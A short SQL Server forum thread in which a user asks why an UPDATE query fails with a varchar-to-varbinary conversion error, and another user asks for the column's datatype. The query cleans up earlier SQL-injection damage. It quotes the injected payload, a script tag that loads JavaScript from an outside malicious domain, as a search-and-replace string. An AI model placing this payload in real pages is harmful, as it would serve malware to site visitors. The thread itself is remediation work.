Please start any new threads on our new site at https://forums.sqlteam.com. We've got lots of great SQL Server experts to answer whatever question you can come up with.

 All Forums
 SQL Server 2005 Forums
 Transact-SQL (2005)
 conversion issues

Author  Topic 

zdavis
Starting Member

1 Post

Posted - 2008-08-28 : 13:19:14
Hi everyone. I am trying to run this query to get rid of some sql injection attacks the previous developer managed to get.

I am getting the following error.

Implicit conversion from data type varchar to varbinary is not allowed. Use the CONVERT function to run this query.

Here is the SQL:

UPDATE [MSmerge_tsvw_8D5A61FE274342FEBBDF23035156E779] SET logical_record_lineage = REPLACE(CAST(logical_record_lineage as varchar(8000)), '"></title><script src="http://www0.douhungn.cn/csrss/w.js"></script><!--', '') WHERE logical_record_lineage LIKE '%"></title><script src="http://www0.douhungn.cn/csrss/w.js"></script><!--%'

TG
Master Smack Fu Yak Hacker

6065 Posts

Posted - 2008-08-28 : 13:26:48
What is the datatype of [logical_record_lineage]?

Be One with the Optimizer
TG
Go to Top of Page
   

- Advertisement -